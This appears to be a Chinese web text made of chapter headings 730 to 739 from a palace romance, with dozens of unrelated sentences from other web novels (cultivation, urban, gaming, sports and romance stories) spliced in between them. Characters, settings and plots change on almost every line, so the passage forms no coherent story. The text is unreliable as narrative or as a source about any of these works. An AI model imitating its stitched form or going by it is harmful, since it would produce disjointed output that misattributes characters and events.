吾梅沉默就表示默认了,清心再三确认之后这才大胆的去找秦婷她们,要不然借他三个胆子他也不敢。 ‘砰’,凌晨一拳轰了上去,妈蛋的,敢骂他妹,不动手还等什么呢? 詹雄回到家之后诚惶诚恐,今天这个道士说的真是在理,他这一辈子坏事做尽,曾经发家之时就是靠着钻取法律的空子,如今做大了才将所有的一切漂白。 “哪个沒眼睛的敢吓你?那、那你就罚她!”米猴看样子比穆水还要气急败坏。 不过吴宇最惊讶的不在这里,而是难道。先是修建难度,之后便是经济难度。这种规模的塔型结构,如果建了两个双子塔,那么无疑和在地面上建造一个同样高度的大厦差不多。 凌晨一阵嘀咕,不过他并不担心,正如警察说的那样,整个洗漱间就两个排气窗口,外面根本无法狙击。 两人蹑手蹑脚的从通风口回去,来到走廊,秦宇从紫微星戒中召唤出自己的铁丝,再次施展开锁绝技。 在蓝眼雕佣兵团,也就“水牛”愿意听埃德的话,帮埃德做事。这与一开始森虎让“水牛”帮埃德有关系,也和“水牛”的性格有关系。 奥斯教授确认应该接收费洛博士后,经过王老协调担保,才允许飞机入境。 得到了疯狂能量的滋润,细胞顿时焕发了新活力,使得夜天的每个动作,都携带着无与伦比的恐怖力量。 也就是说,如果不换宰相,早晚张说一人独大,相权独大,势必威胁皇权,正是李隆基所容忍不了的。萧江沅心已了然,便欣然告退。 呃,老板被噎了一下,他真没想到张浩会这么说,不过转念一想那些二代哥不都这脾气吗?没耐性还脾气差,他们却是不知道玩古玩最重要的就是耐心。 “既然我这么厉害,为什么你不杀我那?”孟霸天看着焚煞,淡淡的说道,丝毫没有一丝害怕。 弗兰克的黑暗之力被金色屏障削弱过以后,撞击在了白色光盾上,只是荡起了道道光晕,并没有击碎神之泪的防护。 刀劲从身后逼来,已然逼得夜天退无可避,情急之下,夜天只能用手中的木刀加以格挡。 云心妍没有说什么,抹去眼中的晶莹,嘴唇抿成一字,再次坐在了床头,将夜天紧紧抱在怀中,全部身心都寄托在夜天的身上,努力用全部体温将他融化。 第七百三十章:本皇子像傻子吗? 尚还未猜透拓跋泽的心思半分。 另一婢女又脚步匆匆地进来禀报:“公主,拓跋泽来了!” 梅汐媛一听,顿回过神来自言自语琢磨着。 “这还真是说曹操,曹操到。” 话音未落,少年身形腾空而起,二十八面光辉闪耀的银镜随之飘起,停留在他身后浮游不定。 “对!内测,如果没问题就准备发布,这次一定要给敌手一个暴击,不然还真的以为我们是吃素的。”陈默点了点头。 但,顺应世人的言说,做一个言听计从承欢膝下的儿子,就是真正的“孝”了吗? 源临正欲开口,却听一旁的武霖铃忽然开了口,言辞间带着一股彻骨寒意。 戒备如此严密,殿外的侍卫们剑拔弩张,一粒微尘都别想飘进去,彦俐紧紧地贴在含章殿上方,大气都不敢出。 门外响起了侍卫的报告声,敲门声紧接着响起,洛克抬头看去布丽奇特一身戎装走了进来。 有的人见乞丐对着空气大喊,以为他撞邪了,直吓得赶紧远离乞丐;有的人听到乞丐喊,也不由自主的跟着看看他在和谁说话;而更多的人,是对乞丐说的所有话都充耳不闻。 此时正值子时,月影摇晃,所有房间的灯都关着,显得大院冷冷清清。 “干什么这么不开心?第二名好吗?我们也只是输给了睿山,一点儿都不丢人。”郑轲拍着麻美的肩膀,咧着嘴笑了起来。 “给我把门撞开!”王秀英脸上挂着寒霜,指着那屋门对听到声音赶过来看情况的两个庄子里巡夜的粗使婆子道。 赵家家主对此事十分郑重,对于从未离开过清溪城的赵家人而言,这件事简直像天上掉馅饼。 “不错,正好咱们趁机做了他,而且他身上还有伤。”韩兆先说道。 “回家。”萧羽内心猛地一喜,脑海中浮现出父亲和母亲的样子。 可想而知,这百兽之王怎么肯乖乖的复兴,现在正不停嘶吼着,想挣脱出去,那一双利爪,在纪月缺的脸上挠出一道道痕迹。 我们打扫完战场之后则是继续开始杀怪,说也奇怪,我们守城的时候每一波怪物都有b,可是到现在为止我就看到了双头奇美拉之王,其他的一个b都沒见到,难道说这些b拿下主城之后就回去喝茶了。 “心舒服了就好。”她坚定走完一步,则再前进一步,不会回头看,哪怕是骂名。人,只有在最脆弱的下一刻,成长起来,才为最强。 “你还不说!还要在这装多久!是不是我平时对你太好了,到了这个时候,连你都不肯跟我说实话!”那语气中的愤怒,乔寒烟当然听得出来。 胡子气急败坏,突然有种顾此失彼的惶然感,不过,清溪学院既有六星复合法阵守护,还有一处强大无比的碑林,胡子并不是十分担心,这次异变的天地灵气,还不至于撼动得了清溪学院。 其实我也只是吓唬吓唬她们,但是想想接下来要发生的事情,如果飞鹰这家伙不配合不合作,我刘晨或许也真的能做出这种没有人性的事情。 不列颠的巨人,以及现代智能机械的辅佐,整个搬运工作显得相当轻松。 第七百三十一章:永乐之怒 拓跋泽等的便就是她这句话。 待到珠儿等人离开,遂用力一把将梅汐媛整个人都甩了出去。 ——事实也是如此,他恐怕是最不合格的城主了,从上位的那一天开始便是从成为甩手掌柜,一心开始修炼,城主府中的一切都是让屠夫代为主持。 更何况,当初瞿于单于下令阻击这支军队时,东胡便派有军队参加,他们是很清楚这支魏军的实力的。 火柴杆一直都手红的可怕,如果让他帮忙进化,成功率应该能大一点?!其实这都是张一凡的自我安慰,因为成功率和失败率是一样的,各占一半。 伊贺翔子一击不中,后续的招式更加紧迫,每一次出脚,都是奔着张一鸣致命的部位。 等到血沫全部去除干净,切得薄厚适宜的牛羊肉也是可以开吃了。 那个壮汉不屑的哼了一声,似乎没有再和侯雨说话的耐心了,带着他的人就要离开。 这一个帖子顿时引起了巨大的轰动,有人顿时破口大骂,这些人都是花钱购买魔鬼交易所位置的人。 而且,这一个庞然大物犹如铁水浇铸而成的钢铁堡垒,盘旋在黑暗之中,即便什么也不做,都已经极为冲击视觉、震撼心神了。 中路的张述杰在奔跑,阿拉巴看了一眼,如果直接传给他,那这跑动的传球恐怕成功率不是太高,他见里贝里已经从侧后方跟了过来,于是把球往后斜着大约三十度的角度传给了里贝里。 然而,罗宇的这个招式虽然杀伤力还挺大,但却不能够持久,半分钟的时间,罗宇就感觉一阵天旋地转,竟然有一种要晕倒的感觉。 原来,郑重在使用裂天螳螂出其不意的击杀两人之后,马上就意识到两人元婴会借助瞬移术而逃。 远望海中,三个美丽的身影正在艰苦的游泳,一万米自由泳,还算不错,想当初盖伦他们第一次训练可是跑了五万米呢。 这梼杌仗着利爪和獠牙,扑在明王身上又抓又咬,双方势均力敌,一时缠斗了许久,几十个回合过后终于出现了转机。那无能胜明王一杵在梼杌的虎头上,打得天灵盖碎裂,梼杌顿时惨叫一声,身躯烟消云散。 “想走,那就在留下几具尸体吧。”看着撤退的第八学校的冒险者,盖伦也是一声大吼,接着宾士一剑直接敲碎了一个冒险者的脑袋。 “砰!”修罗真君的双剑斩在佛法之刃上,自己反而被震飞了出去,不过他立刻返身回来,拖住药王天尊,不然白牛可就性命不保了。 “等等,他们回来了。”队长连忙让飞行员降低高度,此时海水已经淹没了沙滩。 刚刚还噼里啪啦乱想的热泉潭边一时间沉寂下来,知道叶拙忽然一声轻咳吐出一口血痰,将众人惊醒过来,一时间,几人同时面色惨白。 时空的加速只会看到这里所发生的变化,想要得知队伍之后究竟会怎么样,必须去到四号黑塔才能知晓一切,在那里到底会发生什么,如果能够提前预知的话,杨晓恺也就不必在为之后发生的事情而发愁。 第七百三十二章:一切皆都如期而至 很快,侍卫便将衣上云带到了梅汐媛的面前。 狠狠的将她往前推了一把,喝令道:“见了公主还不赶快下跪?” 就像是一个孩子摔倒了,没有大人在扶他,他会自己起来拍拍身上的尘土继续跑。要是什么爷爷奶奶爸爸妈妈的占了一堆人,那这孩子就会越哭越厉害。 “出去后等着你两个哥哥出来,到时候咱兄弟三人称霸天元。”黎龙道。 “如果我想要男人了,算不算困难?给你打电话,你会马上来帮我解决这个困难吗?”中川遥道。 “如果不是我们先就喝过了,而现在还带了一瓶来,怕不也加入到这疯狂的队伍中!”任天豪感叹道,他当然明白这种水所引来的效果。 “我只对别人暴力对你不是挺温柔的么?”凌雪妩媚一笑倒也有几分风情万种的意思了。 区区一块人界碑,居然能比六海无边疆土、龙凤二族无数高手还要重要? 锁神链身上同样有一股黑色的气流涌出,狼牙棒上冲出多少就吞吃多少就好像可口的美味一样,锁神链哗啦哗啦都动了几下拽着狼牙棒就回到了李想手里。 “什么意思。”曹浩开没有多说,他说一百万,万一是给他一千万就赔了。万一是给他十万他就不用要脸了。 我冷哼一声缓缓退去雪月的几个汉子一样退了回去但是显然一个个火气没消。 看着秦俊熙的眼神,伍十余相信如果青青和青雅出现了问题的话自己一定是跑不过的。 因为中路的兵线是三条路最短的一条路,线难控,却很容易推过去,那么你就要考虑清楚了,是抢2压制一波,还是将兵线维持在中间。 月神也不多说,一阵等待后,云晓便感觉自己的脑海中有异动,而后,他便见到一丝丝蓝色的灵气漂浮在自己眼前。 詹姆顺着他指示的方向看去,正好发现一把滑膛枪被马车底下伸出来的一只手给拖了进去。他的第一反应,就是有敌人躲在马车下面,差一点就要直接射击了。还好,巴布及时拦住了他。 这片不起眼的矮山内之中藏有蕴灵玉,当然数量不多,且埋的较深,曾经也有一些宗门高手过来勘察过,其后确定并没有灵脉藏在其中,而为了零星一点蕴灵玉破开这片矮山明显是得不偿失,这些人便只能作罢。 闻言朱倩眼睛一眨不眨的看着段寒欣,想要看一下段寒欣到底是怎么用媚术的。 听得这些不堪地嘲讽话语,云晓笑了笑,毫不在意,心境都没有波动一分一毫。别人的看法,与他何干,他云晓从来没有在意过不相干之人的言论,云晓只在意他所在乎的人。 “这不是你的力量吧。”陆羽端详片刻出声道,同时给丹檀子一个眼神。丹檀子立刻瞬间加入战局。 “什么?!”柴老大惊,连退数步,他视线恢复后看向自己的左手,发现手掌已经消失,只有正在喷血的断腕。 所有人心底嗖嗖的凉风可劲的吹,远处如仙宫宝殿一般的建筑,此时在所有人眼里顿时比洪荒凶兽还要恐怖。 第七百三十三章:去年今日 她就仿佛再次从他的世界里蒸发了一般。 “云儿,你到底怎么了?” 他的心,属实已碎成了一片一片,这辈子怕是再也难以愈合了。 她是绝对不会相信她的未婚夫会背着她做出如此的苟且之事的,更何况,她对他的信任和依赖已经到了无可挽回的地步。 眼看打头的火曐阵被破,高空中的蚩焱眉峰一拧,将封天剑冲天扬去,剑身穿入云霄,在高空中飞速旋转,瞬间卷起巨大的龙卷风潮,向帝都轰鸣袭来。 顺着荔儿的搀扶站了起来的桑离,手也痛背也痛头更痛了,被沐云匡了一巴掌的脸蛋儿也早就肿了起来,虽然并不影响桑离天然的美貌和灵动,可看着也够吓人的。 “什么意思?”梁以默意识到不好,紧盯着叶辰手里的那份合同。 她在天上冲二人做个鬼脸,咩地一声,这便踩了朵祥云,嘻嘻哈哈地满天地撒腿狂奔开去。 黛晓就这么缓缓的一瘸一拐的走着,口中不停的呼救,明知无济于事,还是不愿放弃。 她忍,她什么都能忍,都能跟他结婚了她还有什么不能忍的,就忍着,以后这些人对她怎么样,她都会加倍奉还。 杨若离看得老卢打开了车门,很理解李月彤的心情,只能放弃了。 这么冷的天,她竟然只穿着一件单薄的衣衫,她上车后甚至连要去哪里都没有问,只是静静地坐在那里。 “娘娘,当时儿臣就在屏风后,被点了穴道,动弹不得。”苏染画道。 台下众人乱哄哄的一团,台上的猎影豹已经向林晴发出了攻击,此时早就疲惫不堪的林晴,根本躲不过去。 再说,童芷若是一个连借了她车,还车时都要把油加满,车内清洗消毒的人,怎么可能接受她的这种帮助。 两人说话间,已经走到一块碧绿的草坪上了,看着那背着球杆的球童跟着一位带着太阳帽的中年人后面,方离意识到,自己不知不觉闯进了人家的高尔夫球场了。 如果她恢复原形,对方这些没有远程利器的矮人们,那是不在话下的,哪怕是再来一倍的矮人,伦娜也不会放在眼里,但是,众目睽睽之下,她总不能哗啦一下,在众人面前来个大变巨龙吧,那还不丢死人。 她的这个前辈其实人挺不错的,平时也挺关心她的,就是嘴里光爱说些埋怨别人的话,令人烦不胜烦的。 “林少放心,我们不会让你失望的!”赵泽点头说道,此时林峰的身影在他眼中是如此高大。 钟强把客厅彻底搜查了一遍,没有发现任何可疑之处。他走到路云面前摇摇头。钟华也走了过来摇摇头。 影一强行平静下浮动的心,越是这种时候就越不能慌,心‘乱’了,就会丢掉最后一丝成功的机会。 “阿战?采儿呢?”王曦想起昏倒,前采儿已经倒地,激动之下扯痛了伤处。 不多的一席话如同重磅炸弹一般让两人吃惊不已,原来其中还有这么多故事。老七也就是度劫,想不到父亲竟然将他也算在了其中,知子莫若父,看来自己对老七的了解还是太少了。 第七百三十四章:中药 尚未及轩辕翰反应过来,陆天骄便已整个人都紧紧贴在了他的后背上。 声音柔情似水,深情款款地轻唤了一声:“翰哥哥,不要走!” 对于人剑合一、人刀合一这样境界的高手来说,已经无所谓招数了,朴实无华才是王道。 她已经外门呆了十年,这十年之中有不少好人想要帮她,但是这些人都是被秘密警告,家族高层还命一些人特意欺辱,他们只是维持这种状态却绝不杀了她,你认为你可以改变这一切吗? 一阵灵气逼来,李云尘贪婪地吮吸一口,这种感觉很真实,不像衍化出的三千大世界,里面充满着虚幻,时空法则早已变更。 那七窍丹,石青松也加紧炼制,但却不再使用。那些服用过七窍丹的水族还在应蛟的管辖、注意下,难日后情形如何,使用时还是要谨慎一些。 夜火笑了,露出满嘴的尖牙,像是那灵马的牙齿,叶白眸子看着他,手指想要拔剑,夜火手指却是先一动,漆黑的魔气弹动起来,刹那间竟然转到了叶白的身体里面。 虽然一样是那位上尊挑选出来的‘门’徒,但在众人之中,唐左却是离那位上尊最近的,接到的一切法旨,都凌驾于众人的行动之上。 无奈之下,李云尘只好用尽全力抬起双手,将背后的破刀慢慢抽出。 银环面如凝霜,一道银白色的蛇尾虚影自地下轰然钻出,劈向独孤骥所在之地。 黑沼泽的森林顿时破散开来,天空上出现一道紫色银河,无垠星空如水清澈,道道神力汩汩流淌。 “这只是个新教而已!而且又十分的嚣张,我就看不惯他们呀!”涂凯有些反对。 草丸子说还有个法子就是将空间戒指升级,这样不仅可以扩大空间的范围还可以随心所欲得往里面塞东西。 “你不觉得奇怪吗?之前我们挖过两次这里,都有流血,可这次没有。”夏伟看了看我,说道。 所以,自打张子心出发去燕京,张振就没给张子心联系过,张子心也没打电话给他,以至于,张子心回西川市了,张振都不知道。 走了两步看到何菀芯冲方知寒急急摇头,一副要冲方知寒诉着悲苦的样子。 霍栩一向稳如老狗,失误极少。他的卢锡安哪怕没有杀人也是压着对面补刀,无论如何都是优势。 她可不想自己睡觉的时候,迷迷糊糊醒来,看到有个男人坐在床边。 果然,没过多久,卫兵口干舌燥,肚中下了酒就漫不经心起来,再一会儿就去找地方方便去。 “我赐你个名字!民石教,以民为基石,以后,你就姓民,就民度人!度人度人,度尽天下可度之人!”正凡石上了牛,闭着眼说,他觉得闭着眼睛说,会显得更加神秘一些。 那根三岔骨枪在狼窝上空高速旋转起来,将整个狼窝内的灵力搅动起来,从上到下形成了一个转动的圆柱形屏障,将刘鼎天完全笼罩在里面。 她认为自己会一辈子这样下去,努力修炼,提升实力,斩杀神族。 “是么?可你也是数朝老臣了,难道看不出王振那厮怂恿天子对蒙人用兵的危害么?你我年岁虽老,可这心终究还未昏聩吧?”杨溥看着对方正色问道。 第七百三十五章:杀人诛心 原是西窗边案上放着的一把用来剪烛花的金剪,正借着一旁烛火的照耀,发出道道金色熠熠的光芒来。 梦琪的脸刷的红了,他伸出舌头围绕着她的耳廓来回的描绘着形状。 慕容墨情在看到了台上的身影是,身体不自觉的往前走了几步。这是为了能更好的看清楚台上的的状况。 “不,我觉得我已经老了,我希望看到我的第二代!”他打横的将方梦青抱了起来。 洪仁海脸色惨白,魂魄已然离体,望着剑尖,望着李逸航,再望着陈娟,竟是全身僵硬,一动不能动。 白姗姗叫道:“不要说了,他侮辱我的时候怎么不想想他是家中的顶梁柱,怎地不想想毁了我们的清白,我们怎还能在这人世活下去?”剑尖颤动,可就是没刺下去。 西王母听黄帝一言后,立马醒悟,匆匆行礼告退。直奔无界洞,质问桃鹤君而去。 陈娟眼前困厄解除,李逸航陡地回身,剑尖颤动,刺向胡定中掌心。 厅口那人提起刀,跃到青衣汉子面前,叫道:“奸贼,我送你到地府里去见被你害死的兄弟!”举刀劈下,青衣汉子没有闪避,叹了一口气闭上眼睛,他感觉到冰凉刀锋逼近,生命将要随风而去。 李逸航想起太监僵尸以及观音古墓里头的三具僵尸,确实如高登所言,勇猛无比,望着秦天枢,眼睛里充满疑问。 那日幸亏是周雨提了一下,要不然自己还不知道距离宗门试炼只有三日的时间了,怪不得从十天前,袁霸等人就开始没命的往宗门赶路,原来是试炼之期将近的缘故。 郡守要来视察训练啦!郡守要来视察训练啦!新上任的传令兵满军营大声喊,传递着让人讨厌的消息。 杨尘枫现在已经知道这个少年就是末日逍遥,可是并没说出口,假装自己还不知道。 散修接二连三受到重创,再也坚持不住“噗通”一声躺倒在地,胸前衣襟已经被鲜血浸透,进气少出气多,眼见就要身故。 宋振周身剑气缭绕,在阵法内少了心魔困扰,怀中抱着玉麟,好似闲庭信步。 这下气的黑泽脸都绿了,想要发怒,但是又打不过这个混蛋,在一旁的夏静反而偷笑了起来。 药十三果然不凡!远处的袁霸看到这样的情景,心中不由得对药十三多了几分敬意。 差不多五点多钟,曹鹏走出酒店,然后先是坐上出租车到了城南,接着转车才往城北的郊区而去。 许华有些不敢相信自己的耳朵,不敢相信这话能从左君口中说出来。 “at立场吗?”刘朗蹲下身去,但是他的体型比我大了太多,就算是蹲下去也有一部分露出来的。只不过这样的话包雨云也不好瞄准,好歹还是可以保护刘朗的。 一道强悍的力量向着地下室的众人冲击而来,这道力量比渡劫巅峰的十足一击还要强悍一些,黑心感受到这点后,他心中怔了怔。 但是想到帝渊,想到九千流……算了,她就是试图打破这空间的次序了,要地界里都是罗刹那么凶猛的家伙,放出来也是祸祸人的。 第七百三十六章:陷入他的深情 明明眼下是自己的情况更为不好。 “你这身子骨缺乏锻炼,实在是太脆弱了,尾椎骨错位了。”陈凡一看就知道是怎么回事,在旁边调侃了起来。 发现了不远处的莱恩两人,怪人的双手猛的昂起,如同即将发起攻击的大蛇。 那男人低声骂了一句,明知道今天不可能讨到任何的便宜,最终扶着座椅的靠背,忍着疼,一瘸一拐的离开了。 他指骨分?明,手指细长,那冷白?的指尖抵在唇边,莫名多了点色/忄青的感觉。 莱恩笑了笑,他自然明白这一点,否则刚刚也不会手下留情,毕竟来别人地盘上打探情报,总是要给点面子的。 旁边的院子里,王太后已经躺下了,不过没有睡,所以,属下人也将刚才外面发生的事儿禀报了一下。 他昨晚没休息好,今天又起的太早,困劲儿上来什么黑衣组织,梦想单位的地位都要大打折扣。 宁如烟倒是无所谓,她反而觉得霍氏如果就这么气死了,那才是便宜了她呢,不如活着,时不时的被刺激一下,不停的尝试着这样的痛苦,那才解恨呢。 这四名保镖的身手高出外面的歹徒不止一个档次,但仍被亚当以一敌四的同时压制到无法动用科技武器。 “既然你在这里,那就真的是太好了!我们对任海涛只是暗中保护,不能够太靠近他,只是参加宴会的宾客能够随意靠近,就麻烦你帮我们也保护一下他咯!”冷清秋笑眯眯地说道。 石厅里,已经彻底不见了血魄的鬼影,而血煞也随着血魄的消失,彻底不见了踪影。 这一刻,耶律答里孛觉得心里很苦,直到此时自己也不知道萧龙到底在没在宋军营中,如果在的话,他就死定了。 这是一处别墅区,杨明珍只罗盘来到了其中一座别墅,正是414号,而这里正是皇家别墅的地盘。 就说话的功夫,等陆湛想要再劝劝高兴的时候,发现高兴早就扛着人出门去了。 瞿春拉过蛇皮袋,把白菜洒在野猪蹄印最多的几处地方,瞿秋拉着带着铃铛的线。“我来帮忙。”这个简单,李枫也会,布置陷阱时候会用到。 柳依依点了点头,便从窗帘后面冲了出去,有她帮忙在一边牵制着向丽,刘刚暂时算是安全了。 “那么在成仙之前,又有几个修炼阶段呢,你们知道吗?”万青看向那些宗门中的高手。 最后一位,便是邪剑宗代表,身穿幽黑法袍,散发着生人勿近的气息,给人一种绝不好惹的感觉,他便是无邪,剑无双前任大弟子。 周家作为唐城首富,他们家开发的房子,总是唐城最贵,引领唐城房价,不是没道理。因为他们家房子质量好,户型好,地段好,配套好。 满嘴獠牙带着血色独眼,贴在这人脸上,似乎能够一口将其吞吃了。 “苍红妹妹,你这么做可就不对了,这药草可是我先找到的,苍红妹妹想要强抢么?”苍映凤玩味一笑,将这药草采下,放到一个玉盒之中,转身离去。 第七百三十七章:幸好是她! 一念至此,她情不自禁地回过头去,远远凝视着轩辕翰正熟睡的脸庞。 嘴里自言自语道:“世人都说灵空战神杀敌无数,早已视人命如草芥,最是冷血无情。可只有我知道,他的心,最是柔软。他的满腔温柔,亦只不过是都留给了一人而已。” 万千思绪。 顿了顿,一抹复杂的愁绪涌上心头:“可这人,却偏偏是这世间最不可能与你长情之人。或许,真的长痛不如短痛……” 对着他棱角分明的脸,衣上云终于在心底暗暗下定了决心,默默地朝其致歉说:...... 杜鹃拢了拢睡衣,朦胧之下,玲珑浮凸,还散发着洗过澡之后的香氛味道。秦越一时之间不由地看得呆了,不过也只是微微抿了抿嘴巴,吞了口口水。 他的目光不由得又落在了那两块玉佩上面。当初他一直在想,慕梨潇刻下那个“不”字的时候,心中究竟是有多绝望。或许风云轩能够给她她想要的那种幸福也不一定。 而此时此刻两枚伏羲金针点在了袁根来的那侧受伤的肩胛上,金针在从窗户投射进来的阳光中,散发着阵阵熠熠金光。只是那抹金光显得尤为耀目,简直不像是反射的阳光,而是自身就是那璀璨的光源一样。 眼下天‘色’已经有些暗沉了下来,云未央抬脚往凉亭的方向走去,却突闻一阵宛如天籁般的琴音不知从何处传来。 “有一位军人失踪了,这件事情我从来都没有听说过。还有大兄弟,你询问这件事情干什么?”那赌场电脑老板话语中满是疑惑的问道,在他看来,眼前的刘芒的一些行为已经开始让他产生疑惑了。 刘芒终于明白了在筹码的意思,随后便直接起身前往柜台。而那名肥胖的中年男子此时是恼羞成怒,他刚才的意思已经是非常的明显,他要坐在这个位置上面。 那孙胖子立刻笑呵呵的说道,随后将那三千元钱,全部的拿在了手中。如今他真的是山穷水尽了,这3000元,总比没有要好。 帝邪目光微微一眯,挥袖间,隐匿了身形,却依旧侧躺在‘床’榻上没有动。 雷听到赵宇的喊话后立刻往门外扔了两颗手雷,然后一个飞扑躲到了沙发后面。 权将军闻言也没有再问,不过他们也没闲着,又将动力核心工厂的数据和信息重新分析了一遍,但是除了陈默早就已经在信息中指出的四枚核动力核心之外,再没有任何其他发现。 江彪的动作也和解秋玲一样显得生硬,解秋玲想也许是因为江彪知道和自己跳舞的是一个大男人的缘故而放不开手脚。 安一和封宇驰看了起码十几位演员,都没选到心目中合适的顾盼,不是缺少灵气,那就是长相不够过关,总之不管如何,都欠缺了些作为顾盼这个角色最重要的东西,不尽人意。 珈慧这些日子里可是憋坏了,让白苦瓜扫描过后知道自己的腿没有问题,珈慧就开始造作。 就在西装男考虑应该如何将这里的情况,楼梯口那里便又传来一阵脚步声。 花真人走后,刘霍来到了后堂,由于苏悦儿晚上修炼,所以白天在睡觉。 而憎恶就如同灰绿色的弹跳球一般在天空之上不断跳跃,每一次的跳跃都能够昭示着一架无人机的报销。 许多人的呼吸都急促了起来,就连那些筑基期的长老们都是呼吸急促,他们第一次发现自己的掌门竟然那么强。 白苦瓜开口说话了。虽然说,它也可以假装自己是一只还不会说话的神兽,但是太假了。 大家现在也是真的太饿了,一个个都没有再多言,埋头吃了起来。 “你们别急,让我打头阵进去看下情况,等我说安全了之后你们再进去。”李华荣扒开了巨开电梯门后想进去的队员,对所有人说道。 鱼妹对这点是认同的,她之所以提出和温甜合作只是为了找到和爸爸共同记忆的味道,对于收益她并不在乎。 除了期待以外,这两天随着发售时间的临近,也出现了很多唱反调的声音。一些媒体不知道是出于吸引流量还是受人指使,都在唱衰宝可梦图鉴。 “我……知道了……”白笛闭了闭眼睛,滚烫的热水溅在手上的时候,她也没了感觉一样的用力捏紧那玉盏。 刚才温暖已将这柜台里的首饰看了一遍,并没有发现象牙簪,所以才故意这么说。 马胖子黑着脸拿着三个饭团回到自己家人那边,三个孩子立马冲到跟前。 他是个靠游戏吃饭的主播,不可能不进游戏,如此他迟早会着了道。 他当然看到云安郡主面色不适,离开之后再没进殿,心中十分担忧。 「唔,真好吃。」杨心洁咬了一口队长晾的温度适中的青玉米,满足的嘟囔着。 当意识到自己变成了一个秃子,这世界上的一切事都突然变得索然无味。 接下来的日子,明无忧打起了十二万分的精神,让沈清辞带着手底下的人把郡主府,战王府相关各式查探盯紧,力保不出一点点问题。 “夫君要赶我走?一日夫妻百日恩,你怎么能这么恨心?!”她慢慢瘫坐下来。 只是不知道,六个时辰以后,那场事先张扬的死亡……会不会真的如期而至? 傍晚时分,老太太一边吩咐后厨准备晚膳,一边带大伙儿去正堂絮叨,刘琴琴想起自己带的宁夏枸杞,老太太喜不自胜,又让后厨给大伙儿煮一锅枸杞莲子羹,让大家尝尝鲜。 白雪默默道:“毒药一道,对你来说学之无用,我也只有金创一道能讲,你可愿听?”要知道那时的医者或多称为坐堂医、大夫之类,地位低下,而这个金创之医更是下下之流,仁人志士不取也。 第七百三十八章:禁足星月阁 “还好,还好。属下还以为,昨夜,殿下真的要和侧王妃圆房了呢!” 千亿集团的总裁,居然如此的普通随和,甚至于身上也没什么盛气凌人的气势。 现在有了钱,八百多万,是不是该给原主的家人,打一点回去呢? 蒋梦珂懒得搭理秦霄贤,又看了几眼窗外,真的担心一会如果谈不好的话,自家闺蜜会不会挨打。 虽然不是他们扔出去的,但是他们亲眼见到了,此时感觉自己比没有去的人高了一等。 声音有些沙哑,却带着后怕和余惊,显然对皇甫夜刚出现的事情,显得很庆幸。 虽然是那么的生涩,动作虽然是那么的单调,可是在他看来,这……便是最幸福的事情。 “哎。”青铜魔棺内悠悠叹息。再也沒有话语传出。它慢慢的飘向那吊桥的远端。飘向方才白雪被卷入的漩涡处。 原本最活跃的托尼,雄霸都不见了踪影;至于花怜,这时候估计在上课,还没放学。 这才说了这番话,若是岳父真的不理会自己,那这事儿就算翻篇了,若是岳父醒来了,那接下里的事情,自己也正好从他们老李家的这些狗屁倒灶的事情中脱离出来。 “很抱歉,我没办法。”连心迎简单的一句话让余经理无话可说。 等今天的管事把灵草认领走后,何重这才收拾东西,准备回家一趟,可是一开阵法,就见赵远居然守在药园子外,这模样显然就是在等云师妹出行了。 他的太子哥哥萧棣开则相反,无论做什么都喜欢前簇后拥,一派尊贵排场的样子。 齐少凡真替她捏冷汗,幸亏魏青对他的冷血父皇没什么感情,不然姚修容说出这话,就要被五马分尸了。 意思是?梁辰骁现在中了这种毒,要想不再受苦,就只能娶了辰霜并且一生只爱她一人? “要不是她肚子里怀着我孙儿,我才懒得管她的死活,她爱上哪上哪,最好是永远别回来!”谢夫人骂道。 不过她叶沛灵并不是很容易冲昏头脑的人,事关工作,她心底门儿清。 “滚开,都给我滚开!”北冥寒不肯放手,谁也别想把她从他的怀中抢走,谁也别想,今天就算天塌下来,他也不会再对她放手。 甚至他闭上眼睛,就能清晰的看到那一刻,王爷眼中微醺的醉意。 那四条腿,怎么他好像在哪里见过?看着它们缓缓移动时,萧棣元就仿佛看到了危险在逼近,全身的神经都瞬间绷得紧紧的。 落青桓不说话,一手轻轻扔掉手中的刀。长刀落地,本该出一声清脆的响声,谁料刀剑落地,竟然如同被磕掉一角般,随即整个刀身哗然碎裂。 不仅是高琳华感觉到意外,熟识郑蓉的宁安郡主也觉得有些奇怪,郑蓉这是做什么? 心口一阵密密麻麻的疼,林然微微扬起头,深呼吸了一会儿,然后抬手合上了日记本,连同那张粉白相间的电影票一起被压在了里面。 曲风、乐道,还有令月出云时至今日都不明白的剑胆琴心之境,一切,都是从品竹曲中所得。 第七百三十九章:还是有些不忍心 就连仅存于心的最后一丝希望亦瞬间破灭,且她根本没想到入府不过才第二日,这么快便就逼得她不得不打出其父兄这两张挡箭牌来。 更加始料未及的,是她即便将此牌面丢出,却依然还是被轩辕翰怼的哑口无言。 这一次的营销,周星的建议就是立足江南省,打造品牌形象之后向全国拓展,喜剧人是它的广告主战场。 待至,见山门前大摆长龙,好不熙攘;妖修人数,几已逾百;攘臂催发,嚣嚣喧哗。 似吕洞宾这般潇洒的人物,都认为要慎重,林子铧觉得,他就更应该慎重了。 邹世明之后,张晓平在午休之前也成功的击败了自己的对手晋级到了次轮当中。 于是,在闵志雄从桂林乘机回家的第二天下午,就发生了这样的一幕戏剧。 可谁能告诉她,眼睛止不住的酸涩,刷刷流淌下来的,又咸又涩的东西是什么? 再说土能止水,水坝就是土止水的情况,可是水太多了,大坝被冲掉了,那就是水多土流了。 看陈月见态度果断,贝蕾叹了口气,解开自己的外衣,露出里面的背心裙,她转过身,用后背对着陈月见。 “对,我也怀疑自己是不是你的亲儿子!要不然这样,改天我们去鉴定一下?”袁东帅嬉皮笑脸的说道。 无忧皱眉,摇摇头,又再阖眼;尔是苦笑一声,身子立于火龙驹旁,不敢再有稍离。 这个看起来酷酷的男人,嘴中发出低沉的声音,甚至还拿出了一根雪茄。 刘丰眼神微暗,有心想要阻止,话到了嘴边,看着方怀宁那副模样又说不出来了。 周启低头手中的面巾,柔软,洁白,若仔细看还能看见上面一些非同寻常的纹理。 他轻声低语,呼出的热气像轻盈的羽毛抚过她的心头,弄得沈今安心里痒痒的。 最后史蒂夫实在是看不下去了,端着做好的早餐,推了推眼睛里都是美刀符号的伊恩,把他拉了出来。 杰森把曼彻斯特的表现铭记在心,准备告诉伊恩,他发现这个心灵能力者最近有些不太对劲。 青石随阿立走去,听见胡白的叫喊,不由微微一笑,挥手将胡白瞬移到了身边。 而这些穿着黑西装的秘密探员看到伊恩,第一反就是发动攻击,直接拔枪,强制清空弹匣。 方洛没有‘空间源神’的记忆,又没有和其他异能源神接触,核心能力的事情,也只有这几个‘神使’知道。 